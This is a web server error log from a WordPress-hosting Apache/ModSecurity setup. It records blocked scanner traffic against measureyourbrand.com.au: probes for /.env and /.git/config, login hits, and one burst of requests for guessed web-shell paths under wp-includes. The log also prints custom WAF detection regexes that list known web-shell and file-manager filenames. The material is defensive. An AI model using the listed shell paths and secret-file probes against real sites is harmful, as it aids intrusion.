[Tue Dec 09 19:53:50.349650 2025] [:error] [pid 36456:tid 36464] [client 35.192.77.233:61174] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aTgNzh0pAnOyfXl_v40diAAAAIY"]
[Tue Dec 09 20:28:13.439951 2025] [:error] [pid 30591:tid 30609] [client 43.166.246.180:53520] [client 43.166.246.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTgV3RG-g76drVdWQUV4sgAAAE8"]
[Tue Dec 09 21:41:39.579506 2025] [:error] [pid 30498:tid 30520] [client 185.223.152.45:36927] [client 185.223.152.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.45, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTgnEx2mcZJQ5qP_RC1LngAAABI"]
[Tue Dec 09 22:33:04.271167 2025] [:error] [pid 30499:tid 30533] [client 182.44.67.97:41200] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTgzIE0x3OqZTOPp7ckfVgAAAUM"]
[Wed Dec 10 03:45:54.991873 2025] [ssl:error] [pid 32082:tid 32119] [client 143.110.174.190:45642] AH02032: Hostname endofleasepestcontrolbrisbane.com.au provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup
[Wed Dec 10 04:32:20.585133 2025] [:error] [pid 11268:tid 11340] [client 122.51.236.174:53050] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTiHVLbpLcj9WqyQndzpBwAAAJA"]
[Wed Dec 10 06:22:38.544608 2025] [:error] [pid 16597:tid 16636] [client 45.148.10.154:58706] [client 45.148.10.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTihLm4Hlu0QtpUGkRQ_jgAAAck"]
[Wed Dec 10 10:06:43.788834 2025] [:error] [pid 16596:tid 16613] [client 106.227.49.113:36052] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTjVs3Be21fHOHH2RQo9XAAAAY0"]
[Wed Dec 10 11:24:07.361449 2025] [:error] [pid 11266:tid 11271] [client 44.249.224.61:56826] [client 44.249.224.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTjn1yXL_Qb0Ip3FW3ndswAAAAE"]
[Wed Dec 10 16:21:46.183929 2025] [:error] [pid 36976:tid 37009] [client 85.204.124.86:40707] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTktmiSpHW5KVaY9tJlQVAAAAMI"]
[Wed Dec 10 16:21:48.806697 2025] [:error] [pid 36977:tid 37044] [client 85.204.124.83:46811] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aTktnMc-JLl-uoL-Au5-hgAAAEo"]
[Wed Dec 10 16:21:53.078776 2025] [:error] [pid 36975:tid 36992] [client 85.204.124.84:35835] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aTktod_ZNQ3zMmb38BEp8QAAAIw"]
[Wed Dec 10 16:21:55.683491 2025] [:error] [pid 36977:tid 37035] [client 85.204.124.85:54077] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTkto8c-JLl-uoL-Au5-jAAAAEE"]
[Wed Dec 10 16:21:59.942685 2025] [:error] [pid 37062:tid 37086] [client 85.204.124.84:45115] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aTktpzB0I62HCw8Z5BQV5AAAABY"]
[Wed Dec 10 16:22:01.516867 2025] [:error] [pid 49095:tid 49104] [client 85.204.124.85:46763] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTktqcorr4Jt2Tfx_EZ8zgAAAUc"]
[Wed Dec 10 16:22:02.555075 2025] [:error] [pid 46868:tid 46887] [client 85.204.124.85:58165] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aTktqo3NdlN2GOOyBjE5igAAARE"]
[Wed Dec 10 16:22:03.593531 2025] [:error] [pid 37062:tid 37082] [client 85.204.124.84:26513] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aTktqzB0I62HCw8Z5BQV5QAAABI"]
[Wed Dec 10 16:22:04.623344 2025] [:error] [pid 49095:tid 49102] [client 85.204.124.84:47393] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aTktrMorr4Jt2Tfx_EZ80QAAAUU"]
[Wed Dec 10 16:22:05.649902 2025] [:error] [pid 49095:tid 49119] [client 85.204.124.86:53963] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aTktrcorr4Jt2Tfx_EZ81AAAAVY"]
[Wed Dec 10 16:22:07.200714 2025] [:error] [pid 36975:tid 36991] [client 85.204.124.83:24057] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aTktr9_ZNQ3zMmb38BEqAgAAAIs"]
[Wed Dec 10 16:22:09.273857 2025] [:error] [pid 46868:tid 46887] [client 85.204.124.83:46127] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aTktsY3NdlN2GOOyBjE5lgAAARE"]
[Wed Dec 10 16:22:11.321006 2025] [:error] [pid 36976:tid 37015] [client 85.204.124.84:21739] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aTktsySpHW5KVaY9tJlQfwAAAMg"]
[Wed Dec 10 16:22:12.922111 2025] [:error] [pid 49095:tid 49119] [client 85.204.124.85:52639] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTkttMorr4Jt2Tfx_EZ83AAAAVY"]
[Wed Dec 10 16:22:14.471645 2025] [:error] [pid 49095:tid 49110] [client 85.204.124.84:40079] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aTkttsorr4Jt2Tfx_EZ88wAAAU0"]
[Wed Dec 10 16:22:18.674674 2025] [:error] [pid 36977:tid 37036] [client 85.204.124.85:25751] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aTktusc-JLl-uoL-Au5-qQAAAEI"]
[Wed Dec 10 16:22:20.218246 2025] [:error] [pid 36976:tid 37028] [client 85.204.124.84:56379] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aTktvCSpHW5KVaY9tJlQkwAAANU"]
[Wed Dec 10 16:22:22.365635 2025] [:error] [pid 36977:tid 37047] [client 85.204.124.85:50069] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aTktvsc-JLl-uoL-Au5-rQAAAE0"]
[Wed Dec 10 16:22:23.913773 2025] [:error] [pid 36977:tid 37058] [client 85.204.124.85:32537] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTktv8c-JLl-uoL-Au5-sAAAAFg"]
[Wed Dec 10 16:22:27.024936 2025] [:error] [pid 36977:tid 37056] [client 85.204.124.85:29455] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTktw8c-JLl-uoL-Au5-uQAAAFY"]
[Wed Dec 10 16:22:28.574940 2025] [:error] [pid 49095:tid 49103] [client 85.204.124.86:44631] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aTktxMorr4Jt2Tfx_EZ9DAAAAUY"]
[Wed Dec 10 16:22:30.120129 2025] [:error] [pid 37062:tid 37076] [client 85.204.124.85:49757] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aTktxjB0I62HCw8Z5BQWGAAAAAw"]
[Wed Dec 10 16:22:31.233412 2025] [:error] [pid 36976:tid 37019] [client 85.204.124.86:52847] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTktxySpHW5KVaY9tJlQoAAAAMw"]
[Wed Dec 10 16:22:32.273102 2025] [:error] [pid 36977:tid 37057] [client 85.204.124.83:61203] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTktyMc-JLl-uoL-Au5-ugAAAFc"]
[Wed Dec 10 16:22:34.892715 2025] [:error] [pid 49095:tid 49104] [client 85.204.124.83:32121] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aTktysorr4Jt2Tfx_EZ9FQAAAUc"]
[Wed Dec 10 16:22:35.913025 2025] [:error] [pid 49095:tid 49101] [client 85.204.124.84:64595] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aTkty8orr4Jt2Tfx_EZ9FgAAAUQ"]
[Wed Dec 10 16:22:36.932716 2025] [:error] [pid 49095:tid 49109] [client 85.204.124.86:20871] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTktzMorr4Jt2Tfx_EZ9GAAAAUw"]
[Wed Dec 10 16:22:42.253451 2025] [:error] [pid 36976:tid 37030] [client 85.204.124.85:44033] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aTkt0iSpHW5KVaY9tJlQrQAAANc"]
[Wed Dec 10 16:22:44.883913 2025] [:error] [pid 36975:tid 36984] [client 85.204.124.86:49995] [client 85.204.124.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.86, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTkt1N_ZNQ3zMmb38BEqGQAAAIQ"]
[Wed Dec 10 16:22:51.298415 2025] [:error] [pid 36975:tid 36995] [client 85.204.124.86:49995] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aTkt29_ZNQ3zMmb38BEqKwAAAI8"]
[Wed Dec 10 16:22:53.375678 2025] [:error] [pid 49095:tid 49106] [client 85.204.124.83:21849] [client 85.204.124.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.83, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aTkt3corr4Jt2Tfx_EZ9MQAAAUk"]
[Wed Dec 10 16:22:54.411398 2025] [:error] [pid 49095:tid 49120] [client 85.204.124.83:21849] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aTkt3sorr4Jt2Tfx_EZ9NgAAAVc"]
[Wed Dec 10 16:22:59.689347 2025] [:error] [pid 49095:tid 49120] [client 85.204.124.85:44355] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aTkt48orr4Jt2Tfx_EZ9TQAAAVc"]
[Wed Dec 10 16:23:04.992904 2025] [:error] [pid 36977:tid 37044] [client 85.204.124.86:35931] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aTkt6Mc-JLl-uoL-Au5-2gAAAEo"]
[Wed Dec 10 16:23:07.061129 2025] [:error] [pid 36977:tid 37042] [client 85.204.124.85:58721] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aTkt68c-JLl-uoL-Au5-4AAAAEg"]
[Wed Dec 10 16:23:09.730278 2025] [:error] [pid 36975:tid 36992] [client 85.204.124.86:60173] [client 85.204.124.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.86, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aTkt7d_ZNQ3zMmb38BEqSgAAAIw"]
[Wed Dec 10 16:23:10.249513 2025] [:error] [pid 36975:tid 36988] [client 85.204.124.86:60173] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTkt7t_ZNQ3zMmb38BEqSwAAAIg"]
[Wed Dec 10 16:23:20.084446 2025] [:error] [pid 49095:tid 49121] [client 85.204.124.85:37889] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aTkt-Morr4Jt2Tfx_EZ9fQAAAVg"]
[Wed Dec 10 16:23:22.649081 2025] [:error] [pid 37062:tid 37073] [client 85.204.124.86:64581] [client 85.204.124.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.86, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aTkt-jB0I62HCw8Z5BQWRwAAAAk"]
[Wed Dec 10 16:23:24.712265 2025] [:error] [pid 37062:tid 37069] [client 85.204.124.86:64581] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTkt_DB0I62HCw8Z5BQWSwAAAAU"]
[Wed Dec 10 16:23:26.262523 2025] [:error] [pid 36976:tid 37008] [client 85.204.124.86:58187] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aTkt_iSpHW5KVaY9tJlRBQAAAME"]
